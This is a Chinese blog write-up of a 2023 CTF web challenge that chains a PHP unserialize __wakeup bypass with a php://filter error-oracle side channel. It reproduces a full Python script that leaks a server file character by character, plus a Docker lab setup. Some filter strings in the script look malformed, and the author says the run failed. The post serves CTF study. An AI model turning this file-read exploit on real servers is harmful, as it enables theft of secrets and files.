首页 > 其他分享 >蓝帽杯2023web-关于侧信道

蓝帽杯2023web-关于侧信道

时间:2024-03-11 18:33:54浏览次数:31  
标签:blow convert req string 2023web 信道 prefix up 蓝帽杯

复现完2022年那个fastjson,本来想看看2023还有没有java能学,发现是一个php反序列化,但是这个php有说法的,因为用到了我从来没有见过的侧信道知识。

直接看源码吧,一目了然的:

<?php
class Saferman{
    public $check = True;
    public function __destruct(){
    if($this->check === True){
        file($_GET['secret']);
        }
    }
    public function __wakeup(){
        $this->check = False;
    }
}
if(isset($_GET['my_secret.flag'])){
    unserialize($_GET['my_secret.flag']);
}
else{
    highlight_file(__FILE__);
}

反序列化没有套魔术方法,就一个绕过__wakeup()和传参时有个php传参特性要注意一下。

题目要求我们GET一个my_secret.flag参数,根据PHP字符串解析特性,PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

删除空白符
将某些字符( [ 空格 + . )转换为下划线
get传参NSS_JAY,不能直接传时,传NSS[JAY。
//php的变量解析绕过,[ 被处理成 _
当[提前出现后,后面的 . 就不会再被转义成_了。
当这些字符为首字母时,只有点号会被替换成下划线
所以我们传参名字应该是my[secret.flag。源码将参数my[secret.flag反序列化。

PHP版本7.4.33,wakeup只能采用C绕过。C:8:"Saferman":0:{}。这种情况下,反序列化只执行构造方法(construct)和析构方法(destruct)。

 

但是过了wakeup,问题又来了。file()函数读取文件后把内容储存到数组中,并不回显。

也就是命令执行那里,file()用到的是侧信道知识。

原代码直接看下面的链接。

参考Webの侧信道初步认识 - Boogiepop Doesn't Laugh (boogipop.com)

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
    return '|'.join(x)

def err(s):
    print(s)
    raise ValueError

####唯一修改点
def req(s):
    data = {
        '0': f'php://filter/{s}/resource=/flag'
    }
    #return requests.post('http://localhost:5000/index.php', data=data).status_code == 500

    url='http://127.0.0.1:8099/?my[secret.flag=C:8:"Saferman":0:{}&secret='+f'php://filter/{s}/resource=/flag'
    return requests.get(url=url).status_code == 500

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
    payload = join(*[blow_up_utf32]*n)
    if req(f'{header}|{payload}'):
        baseline_blowup = n
        break
else:
    err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
    req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
    req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
    req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
    err('something wrong')
if j[0] == False:
    header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
    header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
    header = f'convert.base64-encode|convert.base64-encode'
else:
    err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
    global flip, r2, r4
    o = []
    chunk = n // 2
    if chunk % 2 == 1: o.append(r4)
    o.extend([flip, r4] * (chunk // 2))
    if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
    return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
    if not req(f'{prefix}|dechunk|{blow_up_inf}'):
        # a-f A-F 0-9
        if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
            # a-e
            for n in range(5):
                if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                    return 'edcba'[n]
                    break
            else:
                err('something wrong')
        elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
            # A-E
            for n in range(5):
                if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                    return 'EDCBA'[n]
                    break
            else:
                err('something wrong')
        elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
            return '*'
        elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
            # f
            return 'f'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
            # F
            return 'F'
        else:
            err('something wrong')
    elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
        # n-s N-S
        if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
            # n-r
            for n in range(5):
                if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                    return 'rqpon'[n]
                    break
            else:
                err('something wrong')
        elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
            # N-R
            for n in range(5):
                if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                    return 'RQPON'[n]
                    break
            else:
                err('something wrong')
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
            # s
            return 's'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
            # S
            return 'S'
        else:
            err('something wrong')
    elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
        # i j k
        if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'k'
        elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'j'
        elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'i'
        else:
            err('something wrong')
    elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
        # I J K
        if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'K'
        elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'J'
        elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'I'
        else:
            err('something wrong')
    elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
        # v w x
        if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'x'
        elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'w'
        elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'v'
        else:
            err('something wrong')
    elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
        # V W X
        if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'X'
        elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'W'
        elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
            return 'V'
        else:
            err('something wrong')
    elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
        # Z
        return 'Z'
    elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
        # z
        return 'z'
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
        # M
        return 'M'
    elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
        # m
        return 'm'
    elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
        # y
        return 'y'
    elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
        # Y
        return 'Y'
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
        # l
        return 'l'
    elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
        # L
        return 'L'
    elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
        # h
        return 'h'
    elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
        # H
        return 'H'
    elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
        # u
        return 'u'
    elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
        # U
        return 'U'
    elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
        # g
        return 'g'
    elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
        # G
        return 'G'
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
        # t
        return 't'
    elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
        # T
        return 'T'
    else:
        err('something wrong')

print()
for i in range(100):
    prefix = f'{header}|{get_nth(i)}'
    letter = find_letter(prefix)
    # it's a number! check base64
    if letter == '*':
        prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
        s = find_letter(prefix)
        if s == 'M':
            # 0 - 3
            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
            ss = find_letter(prefix)
            if ss in 'CDEFGH':
                letter = '0'
            elif ss in 'STUVWX':
                letter = '1'
            elif ss in 'ijklmn':
                letter = '2'
            elif ss in 'yz*':
                letter = '3'
            else:
                err(f'bad num ({ss})')
        elif s == 'N':
            # 4 - 7
            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
            ss = find_letter(prefix)
            if ss in 'CDEFGH':
                letter = '4'
            elif ss in 'STUVWX':
                letter = '5'
            elif ss in 'ijklmn':
                letter = '6'
            elif ss in 'yz*':
                letter = '7'
            else:
                err(f'bad num ({ss})')
        elif s == 'O':
            # 8 - 9
            prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
            ss = find_letter(prefix)
            if ss in 'CDEFGH':
                letter = '8'
            elif ss in 'STUVWX':
                letter = '9'
            else:
                err(f'bad num ({ss})')
        else:
            err('wtf')

    print(end=letter)
    o += letter
    sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

修改脚本中的req(s)方法,获取根目录的/flag:

但是我自己跑的时候没跑出来,就报错了呃呃。

 

Dockerfile:

FROM php:7.4.33

WORKDIR /var/www/html

COPY index.php /var/www/html/index.php

RUN echo flag{EddieMurphy_You_Bet!!!} > /flag

CMD ["php", "-S", "0.0.0.0:80"]

docker-compose.yml:

version: '3'
services:
  php-web-app:
    build: 
      context: .
      dockerfile: Dockerfile
    ports:
      - "8099:80"

 

感觉是环境的问题,算了,积累一点知识是一点吧。

标签:blow,convert,req,string,2023web,信道,prefix,up,蓝帽杯
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18066696

相关文章

  • 蓝帽杯2022初赛-fastjson复现
    趁热打铁,直接复现一波蓝帽杯2022初赛的一道fastjson。简简单单写了个Dockerfile和docker-compose.yml,网上能找到jar包链接,然后启动服务:importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.ParserConfig;importjava.util.Objects;importjava.util.re......
  • m基于OFDM+QPSK和LDPC编译码以及LS信道估计的无线图像传输matlab仿真,输出误码率,并用
    1.算法仿真效果matlab2022a仿真结果如下:   2.算法涉及理论知识概要        无线图像传输:图像数据首先被分割成多个数据包,然后每个数据包经过LDPC编码,接着按OFDM符号映射规则将编码后的比特流映射到各个子载波上进行QPSK调制。在接收端,先利用LS信道估计恢复出......
  • 信道均衡有哪些实现方式?
    信道均衡的实现方式主要包括**线性自动应均衡、盲均衡和半盲均衡等**。具体如下:1.**线性自动应均衡**:这种方法使用一个自适应滤波器来调整其参数,以便输出信号与预期的信号尽可能接近。它依赖于已知的训练序列来调整滤波器的系数,以最小化误差。2.**盲均衡**:盲均衡技术不需要训练......
  • DVB-S学习记录之信道编码
    经过信源编码和系统复接后生成的节目传送码流,通常需要通过某种传输媒介才能到达用户接收机。通常情况下,编码码流并不能直接通过信道传输,必须经过信道编码后,使其变成适合在信道中传输的形式后再进行传输。DVB-S的信道编码主要包括扰码R-S编码卷积交织卷积编码扰码数字通......
  • POJ1129 信道分配(DFS )
    POJ1129信道分配(DFS)题目大意:每次有介于1-26个中继器,先输入一个数字n,表示中继器数量,然后一个冒号后面有与它相邻的中继器,每个中继器需要安排一个信道,不能与相邻的中继器相同,求最少的信道数量。样本输入2A:B:4A:BCB:ACDC:ABDD:BC4A:BCDB:ACDC:ABDD:ABC0示例输......
  • S测信道爆破
    S测信道爆破0X10   侧信道攻击(又称边信道攻击、旁路攻击side-channelattack),攻击者通过测量功耗、辐射排放以及进行某些数据处理的时间,借助这些信息倒推处理过程,以获得加密秘钥或敏感数据。简单地说就是不直接去爆破密码本身,而是通过密码错误时系统的反馈,例如系统判断密码......
  • 5G城市微蜂窝场景的信道测量与建模
    https://www.mdpi.com/1424-8220/16/8/1330https://www.mdpi.com/1424-8220/16/8/1330https://www.mdpi.com/1424-8220/16/8/13305G城市微蜂窝场景的信道测量与建模作者:MichaelPeter、RichardJ.Weiler、BarışGöktepe、WilhelmKeusgen和KeiSakaguchi传感器2016,16(8),1330;https......
  • 每日一练:通过广播信道实现跨页面通信
    利用广播通道实现标签页通信1.什么是广播通道广播通道是一种新的浏览器原生API,它可以让你在同源的标签页之间传递消息。这个API的目的是为了让开发者可以在不同的标签页之间共享数据,而不需要使用LocalStorage或者其他的存储方式。2.广播通道的使用2.1创建广播通道constchannel......
  • 基于大规模MIMO通信系统的半盲信道估计算法matlab性能仿真
    1.算法运行效果图预览   2.算法运行软件版本matlab2022a 3.算法理论概述      基于大规模MIMO通信系统的半盲信道估计算法涉及多个步骤,其原理和数学公式概括如下:        首先,MIMO系统需要发送已知的训练序列,在接收端进行初始的信道估计。当发送......
  • 无线信道-路径损失以及信道衰落
    看了很多论文有关无线的论文,一直对他的论文里的信道模型很迷惑,大体结合搜到的资料以及论文整理一下。1、衰落\(\quad\)无线通信里,信号强度的变化可以分为大尺度衰落(Large-scalefading)和小尺度衰落(Small-scalefading),这两者由不同的物理现象引起,并在不同的尺度上影响信号。(1)大......